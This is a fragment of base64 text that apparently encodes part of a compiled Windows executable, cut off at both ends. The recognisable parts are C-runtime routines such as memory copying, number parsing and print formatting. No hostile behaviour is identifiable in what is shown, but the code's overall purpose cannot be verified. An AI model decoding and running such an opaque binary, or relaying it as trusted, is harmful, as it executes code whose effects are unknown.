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AAMX+b6LgAAAAxf1/iYAAAADF/X+RoAAAAMX9f5nAAAAAxf1/oeAAAABIgcEAAQAASIHCAAEAAEmB6AABAABJgfgAAQAAD4N4////TY1IH0mD4eBNi9lJwesFR4ucmvAwAgBNA9pB/+PEoX5vjAoA////xKF+f4wJAP///8Shfm+MCiD////EoX5/jAkg////xKF+b4wKQP///8Shfn+MCUD////EoX5vjApg////xKF+f4wJYP///8Shfm9MCoDEoX5/TAmAxKF+b0wKoMShfn9MCaDEoX5vTArAxKF+f0wJwMShfn9sAeDF/n8Axfh3w2aQxf5vCsX+b1Igxf5vWkDF/m9iYMX95wnF/edRIMX951lAxf3nYWDF/m+KgAAAAMX+b5KgAAAAxf5vmsAAAADF/m+i4AAAAMX954mAAAAAxf3nkaAAAADF/eeZwAAAAMX956HgAAAASIHBAAEAAEiBwgABAABJgegAAQAASYH4AAEAAA+DeP///02NSB9Jg+HgTYvZScHrBUeLnJoUMQIATQPaQf/jxKF+b4wKAP///8ShfeeMCQD////EoX5vjAog////xKF954wJIP///8Shfm+MCkD////EoX3njAlA////xKF+b4wKYP///8ShfeeMCWD////EoX5vTAqAxKF950wJgMShfm9MCqDEoX3nTAmgxKF+b0wKwMShfedMCcDEoX5/bAHgxf5/AA+u+MX4d8NmZmZmZmZmDx+EAAAAAABJgfgACAAAdg32BczFAQACD4WK+///8w9vAvNCD29sAvBJgfiAAAAAD4aOAAAATIvJSYPhD0mD6RBJK8lJK9FNA8FJgfiAAAAAdnEPH0QAAPMPbwrzD29SEPMPb1og8w9vYjBmD38JZg9/URBmD39ZIGYPf2Ew8w9vSkDzD29SUPMPb1pg8w9vYnBmD39JQGYPf1FQZg9/WWBmD39hcEiBwYAAAABIgcKAAAAASYHogAAAAEmB+IAAAABzlE2NSA9Jg+HwTYvZScHrBEeLnJo4MQIATQPaQf/j80IPb0wKgPNCD39MCYDzQg9vTAqQ80IPf0wJkPNCD29MCqDzQg9/TAmg80IPb0wKsPNCD39MCbDzQg9vTArA80IPf0wJwPNCD29MCtDzQg9/TAnQ80IPb0wK4PNCD39MCeDzQg9/bAHw8w9/AMNmDx+EAAAAAAB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